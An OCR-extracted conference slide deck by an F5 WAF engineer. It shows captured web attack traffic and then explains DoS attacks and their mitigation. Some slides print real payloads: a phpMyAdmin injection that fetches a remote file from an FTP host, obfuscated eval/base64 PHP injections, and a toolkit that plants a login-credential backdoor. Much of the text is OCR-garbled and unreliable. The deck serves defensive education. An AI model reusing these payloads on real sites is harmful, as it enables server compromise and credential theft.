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Who am |I?

o Sam Pickles
o Senior Engineer for F5 Networks
o WAF Specialist and general security type

o Why am | here?
o We get to see the pointy end of a lot of attack traffic.

o Not much attack data finds its way into the public domain,
so | thought | would share what | can.









Hacked Your System LmuXploit Crew




Violations Full Regquest

Li=saidirmer.

) ‘u}nu have been Hacked I, not because of your stupidity”,
“That's because we love you, and we want to warn you”,
" That your web still has large of vulnerability”,

“Dear admin,”,
“This was not a joke or dream, this is fucking reality”,

“ atlast "
“Tidak ada seorangpun, hewan atau banci yang disakiti dalam hacking ini ;)"

“Thanks:",
1|




f5

nlcedredmlatlyanoo.com:
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POST /phpmyadmin/scripts/setup. php HTTP/1.1
X-Cnection: close

Host: 210.
referer: 210.
User-aAgent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera

7.01 [en]

Content-Type: application/x-www-form-urlencoded
Content-Length: 232

X-Forwarded-For: 72.10.168. 50

action=lay_navigation&eoltype=unix&token=&configuration=a%3Al%3A%7E1%3A0%360%
3A10%3AK2 2PMAKSFCoNT 1 g%22%3A1%3A%TBs%IA0KIANZ 2sour ceX2 2% 3IBsR3Ad TRIAR2 2Tt pR3atk
2F%2Fpickasso%3A240790%4066%2E197%2E252%2E1 B2%2F%2FH2Ea%2F 1d%2ETXTH22%3IB%7 D%7D
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burp suite free edition v1.4

burp intruder repeater window about

" target | proxy | spider

a140,0:107FPMA_Config™1:

nner [ intruder | repeater | sequencer | decoder | comparer | options

47 "ftp:lipickass 0:240790@66.197.252. 182/ afid.mf" 3}

" alers

smart decode
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Another (tiny) probe:

HTTP protocol compliance failed violation details % |

HTTP Yalidation

&) Mo Host header in HTTP/M.1 request

&) Unparsable request content
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From the same host:

Yiolations Full Request

Wiolation Severity

ﬂ HTTF protocol compliance failed Error

HTTP] A0 0tw00t. at blackhats. romanian.anti-sec d
]

Requested LURL

Web Application
Support 1D 17099226225215352420
Source |P Address 200.1.192.31:36554
Destination IP Address 192.168.59.2:30

Country Colombia

Time 2011-04-27 06:09:41
Flags X'\E_"]

Severity Errar

Response Status Code MIA

Potential Attacks MIA

Close
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04:42:45
04:42:45
04:42:45
04:42:44
04:42:44
04:42:44
04:42:44
04:42:44

...etc

Canada 72.
Canada 72.
Canada 72.
Canada 72.
Canada 72.
Canada 72.
Canada 72.
Canada 72.

10.168.50
10.168.50
10.168.50
10.168.50
10.168.50
10.168.50
10.168.50
10.168.50

[HTTPS] /admin/scripts/setup.php
[HTTPS] /mysql/scripts/setup.php
[HTTPS] /pma/scripts/setup.php
[HTTPS] /db/scripts/setup.php
[HTTPS] /scripts/setup.php

[HTTPS] /sql/scripts/setup.php
[HTTPS] /web/scripts/setup.php
[HTTPS] /myadmin/scripts/setup.php
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Probing for code injection
vulnerabilities:

o Checking for access to
/proc/self/environ

France

Context Details for Attack Signature 200000190
Context Farameter
| Parameter Level Global

&

Wildcard Parameter Mame

Actual Parameter Mame a

-1 | ieW. S S LI I T T
SLEllns s L 1.1 Iproc/selfienviron|oxa|

_ i _a=yi e..r..f..f..r..r..r..r..r..r..r. o
SRR 1.1 Ipragiselfienviron[oxo)
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PHP Injection attempt:

Actual Parameter Mame

Parameter Value

Detected Keywords

products_image

.=:"_Jph F
@error_reporting(0);c=20|@set_time_limit(0});ox20($ o
lol[oxz0]=[ox20]5_GET[TolT{oxz0]$ 05 coxza|=loxz0[6_GETlos¢T oxd]
iffoxz0) t{Slol))ox20lfox20[eval(gzinflate(base6d_de o
code(pZldasSiwFlbvB/sPMORNOMRIXMO5CYsbgl 4
DTESVRJIENnRbxwyIIreBCEGI35M143kMoyMY S+ o
Myn/SHT T IHITO+ABZxAHTEMI 1 TvEME0DxJZ0CCE o
NYGEpmaX9ZDa2QCEXa+TDOeWYnziXaZogM 7ok 4
OhOaWAHZPXASINKYroalXYDDoXhtFOviZsggkdah o
ZICjiALLIbps8cXiRQmj0DVB02jH4ZejFO8aQWAR
YG2ZhbooWe GeVWHw+BCEwHCc+zG4FhsoHIkraF a
0gEz+GdnCEICaAIYICiSKYWegWKsPUTLOKMTS+vz 4
kEmf+eL TWEWLWaIEDmKIGcdWD GhGeeSr+vRiMvsW 4
QDIJBWKrﬁqVJunRHLQZ wrD U d 1 cTevmVrakpHS 4
tbmmepapnrreHF 1SfgE="))}]oxz0]die;[oxz0]oxd]
elseifloxzo]isset($os c} 0xzoleval{gzinflate(base6
4 decode(’pZHMas MwEIthbE.D‘fquIZ S2IFECWA o
9SEI48ilUcyWhImhDyTI2J+ekhkENPEjM7 2Ww5SgX o
fdetMSPjALIB+07yMNETIFFTYUIZEmmaesxhyWdSoX g
svbhYrZnlGWuaEnjkojswhILEWVCW+HNUIusBYYD o
aTb428xBT2lILICnvokitMuubhZQLIMjPwW215niy
SXI0TVrol94DUYUDXImMND d9lvSAcqCI3bmY 3y 4
iKbYagyhZrZuklufB7 alitYRjRISIEaSTekDral 4

OWVY s U+zDdxonT22satld6qgeg+dMMNQox+hlsfvg 4
hFMioLDPT0dIBeMNgTcogWhFMIidbAJaDtWIZ o

701 SpRSWT 14SvS8mpWAOAWXQON5BA==")))[0x20[} ¢

else|nxzoloxzole

m agenhp @error_reporting(0)
t_time_ imit(0);|ox20[Bloljoxz0(={0x20(5_GETTlol »
.$c|-s.cr]s_:;ETrc.-s.c:'];icissetmnuu
l0xz0eval(gzinfiate(basefd_decode(pZldas .
[wFIbvB/sPMOhMNOMRSXMOSCyvsbg1DTEWRIENNR 4
vy 8lre5CEGIISF43kMoy MY S+rMNyn/BIT T 1HI A
TA+ABZAHTEMIT
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Enabling Authentication on the Server:

burp suite v1.3.03 . ' - l

oo o5 S

burp intruder repeater window help

rintruder rrepeater rsequencer rdecnder rcnmparer rnptinns |/alerts |

LyogKiogKiogKiogKiogKiogkiogKiogKiogKiogKiogKiogKiogKiogKioglENPTEZIR 1VSQVRE
TO4gKiogKiogKiogkKiogKiogKiogkiogKiogKiogKiogkKiogKiogkiogKiogKiBNCIRsYWandWFn
ZTOnaXRhJzsMCiRhdXRolD0gMDsMNCIRUYWAIPSdIYZM3MTcOOGRJMmRhMN)IOY MY TRmMOGY20DVE
FZDEyMicTDQuokcGFzczOnZWMzMNzEZMDhEYZJEY TYyMGIZMWEDZjhmMjg 12GQxMjinOwikLyogKiog
KiogKiogKiogKiogKiogKiogkiogKiogKiogKiogKiogKioglEVORCBPRIBOTOSGSUdVUEFUSUSO
|CogKiogKiogKiogKiogKiogkiogKiogKiogKiogKiogKiogkiogKigNCgOKaWY gk CFmdWajdGiv
pl9leGlzdHMolmdldG1pY 3vdGIRZSIpKSBTDQoJZnvuY 3R pb24gZ2V0 bWl jcma0aW 1 IKCkgewl K
CQlsaXMOKCR 1 c2VLCARCZVKEAIGVAcGvZ GUoliAILCBaWNyb 3R pbWU o KSET D Qo  CXIdH WY
DiAoKGZsb2FOKSR1 c2VilCsgKGEs bZFOKERZZWMpOwiK CXONCnOMCmRIZmIuZ S gic3RhcnR0aW11
linZ¥RtaWnyb 3R poWUoKSET DR oNCmyycm D3 cGaydGluZygwk Ts M CnMIdF St Wdpy 1 SxdWan
ZXMNicnVudGHZ3gwKTsMNCkBzZ XRIAGHZYVIsaW 1 pdCowKTsMCEBpbmIfc2VOKC Aty XhfZ XhIY 3v0
aWIUXARpbWUNLDApOwOKQGIuaVIzZ X Qol 291dHB1 dF 9idWZmZ ¥ JpbmenLDApOw K JHMNhZmyToWak

i text ) hex

decode as ..

encode as ..

hash ...

smart decode

var Seof_ctrl_dir = "wh 04 bx05%w06w0 00000
oo~
var sold_offset =10
function unix2DosTi
me{funixtime =0) {
Etimearray = (unixtime == 0
) 7 getdatel) getdate[$unixtime};|
if (Btimearr
ay[year] =1980){
Stimearray[year] =
IDE

) text ) hex

decode as ..

encode as ..

hash ...

smart decode
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PHP Toolkit:

Violations Full Request
S

—XYZZY
Content-Dis ition: form-data; name="products_image”; flename="
Content-Type: imageljpeg

sZT5TaGFkb3cgd2FzZIEnIcmUBL3RpdGxIPjxib2REPIITDQpzZXRIdGHZVIsalW-

r|

Requested URL

Web Application

Support 1D 3594420368669955391
Source IP Addr 80.74.

Destination |P Address 192.168.59.2:30
Country Switzerland

Time

Flags b

Severity Error

Response Status Code

Potential Attacks ipti LDAP Injection, Mon-|




S

ecoded a couple of times

burp suite v1.3

burp intruder repeater window help

IHsNCiAgICAgICAQICAGIGFyemFEX3B1c2golHVZZ JzL CR1c2WybmFEZSkTDCQoglCAgl
B1YmxpYywkZGlye ICAQICAGIHONCIAgICBIDQogIHOMNCiAg)GRrKzsNCnONCIM]ly
J|‘fMJ|‘fMJ|‘fMJ|\|MJ|‘{'M]\‘{'M]|‘;‘MN CmyjaGagljxi Ynl+jsHCmbja IJ)(UZ\hUY\IIY EluYW1IP thWIu\ dpmev
! 0yMD4iOwOKZWN obyAWytdIEZvdWESkZWCQgliszaXplb2Y o HVZZX,
bil7DQplY: vl[‘IbK100Rn‘|91meIZ[‘AanNpemWZlqk >GF0aFa0b19wdW. WMlechthZ:‘Flthq HVIthJ\ZhUbWWqZhI (ZWMNOb3
JpZXMebil7DOplYZhvICIBA0gUZVhemNoaWsnIGZve BwY XNzd29yZHM gaw4 gy 28 g NCmVja
: _aW\u”\:‘:IlOwUKZWNcub\-

ZGI},‘KDRWY)\R_GLCI-:Uc:ZWbmFtZC 2wOKICAgIGIMICgkaGFuZGxlID0gh3 EImep -‘FUal,kaH‘Nl,mulu\ull,»\qd2hpbt‘UuKt1ZhbH
MICESPSADIGZpbGUgPSBYZWFKZ CRoYWSkbGUpl wiKICAgICAgICAgICAGICAKZNBhdG RwWYXRoJGZpbGUIiOwWOKIC,
AgICAgICAGICBpZiAcKCRmMaWxITOnLicpl GFUuZCA0)GZpbGUNPScuLicpKSB7 DQoglCAgICAgICAgICAGICAGIGIMIChpc 1 9yZWFEYW.

[-] Unable to patch Categori
gin.php)) {
$b oor_login
_den:cwdeli'aWYgKCRIVFR{Dﬁ ElF'U1RNkF"-U ! XSkgewIKCQOKCSRIcmIDZSANCokSFRUUFIOT TNUX1
[,nUN[,mImI[,Gk FRUUF90T1NU\1ZBUIN

XRhYmyKCovdmFyL3ReCopKSBTDQ0JCSRWYXNZ2ZpbGUGPS me Eutnqnchvc dkLnRzlle
’.Ipdl‘UcnIHElhc INFZmIsZSwoHdyaXRIKTsNCol9DQoJZWaZ WImKGIZ KRR mudKCdkZCYve2ht JykplHsMC gkl
UKCovZGV2ZLINobSOwWYXNzd2QudHh 0JywiYSsiKTsNCgkJJHBhc3MNfd3 pdGUOIGZ3cmI0ZSgn)HBhC3MNZ

Spwd_admin=g
dir(Spwd_:

ation:’hittp:lwww.google.com
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$pwd_admin = ereg_replace('/images','/admin’, $system_pwd);
if (chdir($pwd_admin)) {
if (is_writable($pwd_admin)) {
if (is_writable('categories.php’)) {
unlink('categories.php’);
$new_categories = "<?php
header(location:'http://www.google.com’); ?>";
$patch_categories = fopen('categories.php','w");
$write_categories =

fwrite('categories.php',"$new_categories");
$response_categories= "[-] Categories Patched";
}
else { $response_categories = "[-] Unable to patch Categories"; }
if (is_writable('login.php")) {
$backdoor_login = "<?php eval(base64_decode('if
(SHTTP_POST_VARS['username']) {

$write = (SHTTP_POST_VARS['username']);
pass_write($write);
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Attack Summary

o Works with any directory structure - targeted for
PHP specifically, but can work on any vulnerable
app

o Uses a variety of methods to

o backdoor the server,
o add OS level passwords,
© enumerate users

o Remains hidden - no obvious error messages



f5
SQL Injection:

| Attack signature detected violation details

Signature Mame

Signature D

SCL-IM s like (1)™and 1 —

SQL-IMNJ "SELECT FROM" (Headers)







fs
Where From?

12

. Malaysia 22
. Germany

. Netherlands

. Poland

[ ] china

B Thailand

I:I United Kingdom

3

|:| Korea, Republic of
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How Many Attacks?

Occurrences
. Non-browser Client
. HTTP Parser Attack
I:‘ Information Leakage

. Predictable Resource Location

6
B vurerabiity Scan 8

2
4

B cross site Scripting (XSS)

B sat-ijection

. Detection Evasion 491
|:| Path Traversal 297

[ | LDAP Injection 202



5
Reason for Blocking:

Occurrences

. HTTP protocol compliance failed 16289

. Attack signature detected 12838

|:| Information leakage detected

I tegal method 1

. Evasion technique detected B
. Failed to convert character T

|:| Cookie not RFC-compliant

: 21
a8
0
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Further Observations:

Attacks are extremely common - at least hourly, if
not minute by minute

Example: one global social networking/web
monster gets a minimum of ~500Mbps mixed
attack traffic at all times!

Most attacks are relatively untargeted at the
specific site, but many attacks are targeted at
languages, frameworks etc such as PHP

Search engine integration is the norm

Formal incident response is probably best saved for
the really targeted and persistent offenders
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Further Observations:

o Geo IP blocking by itself has some value but will be
too problematic for most sites
o Legitimate traffic may originate from any country
o Anonymiser networks have proxy hosts available in any
country desired => attacks may appear local in origin
o Most attacks are just probes or don’t work on your
site, but it only takes one!

o |IP blocking of any kind must be done with care
e Mega proxies
e Tor
e Anonymiser networks
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SYN and ICMP Flood

e Old school but still popular

o SYN Flood:

o The attacker does not respond to the server with the "ACK"
in @ TCP connection exchange: SYN, SYN-ACK, ACK

o Connections are half-opened and consume server
resources

o I[P Address is unreliable as no response required by client -
can result in “reflected” attack

o |ICMP Flood:

e Sending the victim an overwhelming number of ping
packets,

o Simple to launch and the primary requirement being
access to greater bandwidth than the victim



Attacks are Moving “Up the Stack”

Application

Network Threats Threats

ttlexical costefll i
HlOXiCQl_@M'b' (A
boost:: Lexieal sessilli i

.

90% of security 75% of attacks

investment focused focused here
here
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Cast of characters:




Assange

Julian




Wikileaks




US Government
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The Target




5
The Instigators




5
The Crowd
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Attacks overview

o Network flood attacks:

o High PPS attacks: extremely high SYN flood and UDP flood
attack rates hit victim sites = bottlenecks

o QOversized ICMP and UDP frames intended to consume
bandwidth

o Fragmented and corrupted UDP frames intended to consume
more resources on application delivery equipment;

o Connection flood attacks: targeting the server TCP stack
resources;

o Application flood attacks:

o HTTP page request floods targeting crafted URLs;
o HTTP data floods;
o Crafted Layer7 TCP attacks such as SlowLoris, slow POST
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The Attack:




[—

The Attack

Peak measured at 350 x normal production
load!

=> 35,000% increase




Slowloris HTTP DoS

CCCECCECEE OO COOOC0 & (38 (36 &6 & Q0000006 65656656 ARAARRAGEAS 3§ ARAAGF§ 00 oooccen s 1 0 :
CCCCCCECCCECC 006 S s Qe s S5 000C L0005 5 S5 888 S8 S S8 5 S QRARARRE S5 000 aococ s @ :
CCCCCCCCCCECCCO0S S ARG EE 65 0000000000555 5555065555555 05 050005 555 Q55 ARG 0000000 o : ¢
CCCE oooonon T O 6 QG 366 @6 &6 000000066 6§68 65856 00000000000 CCECQ000E§§AF§6§ 00000 : - @ :
ool alooal L OEAE S RE S S5 8 S5 000G 555 855855585888 85 00000 oaonaanalCO00E§ 55856 laocaar :
oooooal ol LEE G R E SSRGS 0GS558 3355350808555 00CCConooccccee CODDOGERGES0Cacee
oooal CO0E0EE S SGE G da QG 0F 0056 S 3G 00666 065§ 6 000036 65§ 0Cocoocor: tcoool OOG0FGE G656 Cooa
ol CECCE O QOO 006 S @55 0000006555 055§ 000000005 55505 0000 coloce s - col OOOE S5 55 000T
ol CECCO00E S0 ool OF & AF 0000006 505§ 5555 000 CCCal 000G &5 5 0000000 o - @ ¢ : col 0D00ESH 05500
ol CECO0HE Q0L CEC Q06 AEF Q00 00000FE§§§6§ 0oorccoc ol 08 0F00EE 000000 . @ coool COOOOEEE 600
scocool CEEOOOO00EE0

... cCO0000000000e . : coooal EEOO0Q0a0000

cO0G0&EL . .. Col00FEE 00000 coooor ool QOO0 Q000

OO0O0GESAEREEEEEEGE0a: . . L. cOEEE0c. . $o000000000E L aoe ool ol oL OOO00000
COODGES Q66666556656 0a: . COEEEE0: . ...cCCCO000oooooocce aooooooal CEOO
CCCCOOG 666G 053664600, ofdo. . cO&E00: . .:..ccolffoolooccooccoe oooool CCE
c0E0e. . ;. .:cclocococcoosocccccanaalll

ceod@ECoc:: .. ..., ..:coolooococcccce::::ccoolCoal

Leol0ERG0OCC0E : . | . cooooool
N i o e L lu e Y]

CoOOCCCCCC

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous
HTTP client!

Wirithen by RSnak with bl from Jobn Kinsella, and a dash of inspiration from
Fobert E Lee,
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How does Slowloris work?

e Opens connections to web server (very little
bandwidth required)

o Begins to send request...
...0ne header at a time...
...Very Slowly...
...Never ends...

o Server holds connection open indefinitely, and runs
out of available connection pool.

e Result - server is unavailable. No error logs during
attack.
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Reason attack was mitigated:
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HTTP Slow POST
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Normal TCP (Reverse) Proxy

o Connections are terminated on a TCP proxy stack.
Tuned for application performance - requires

advanced options negotiated during 3-way
handshake.

Optimized delivery per Optimized delivery per

WAN conditions and LAN conditions and
client type application type

dial-up
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SYN Cookie

e During SYN flood attack:

Client increments Sequence
Number by packet size and
responds

l' e Pa) /7
lww':.»a,v RGS

Server replies with Initial
Sequence Number tor TCP
delivery checking

~ —_—
ACK \ Server checks incremented
ISN matches .1lgomhm then
creates entry in TCP state
table
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During SYN Flood attack:

e SYN Cookies work very well, but...

o Advanced TCP Options are not possible when SYN
Cookies activated.

o This is why it is ideal to have a threshold for
activation

o This is where a TCP acceleration proxy may have
advantages over server operating systems eg BSD,
Solaris, Windows
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Stack tuning tips:

e Lower the default TCP connection timeouts in the
TCP profile.

o Lower the Reaper percents from low 85 / high 95
to low 75 / high 90. This means fewer connections
held open, but means the proxy will be more
aggressive cleaning out idle connections during a
TCP connection flood.



5
HTTP Profile tuning tips:

o Analyze the typical and maximum HTTP header
size, including cookies, that should legitimately be
seen. The default maximum on LTM is 32k. This
should be lowered if your average is 4k and max
possible is 8k. In this example, setting the max
header size to 16 should adequately ensure no
false positives (resulting in rejected connections),
while helping to ensure a number of HTTP header
based DoS attacks are better handled.
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Layer 7 DoS/DDos mitigation

o TPS vs Latency detection

oS Configuration Dos Configuration
or Mode Operation Mode
Detection Mode Detection Mode

spicious Criteria
Frevention Policy j s
SIS d Rate Lirmiting
URL-Based Rate Limiting
Frevention Paolicy
LIEL Detection Criteria

Frevention Duratian ‘ & Unlimited ST T I LIRL Detection Criteria

IP Addr

‘ Frevention Duration L Inlirmited

Subnet Mask
IP Addre

IP Addres
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Conclusion:

o We all know how dangerous Internet traffic is

o There is a lot of automated, low-skilled attack
activity

o There are also a lot of very targetted attacks, and
talented hackers

o Many sites will benefit from the visibility and
mitigation available from WAFs






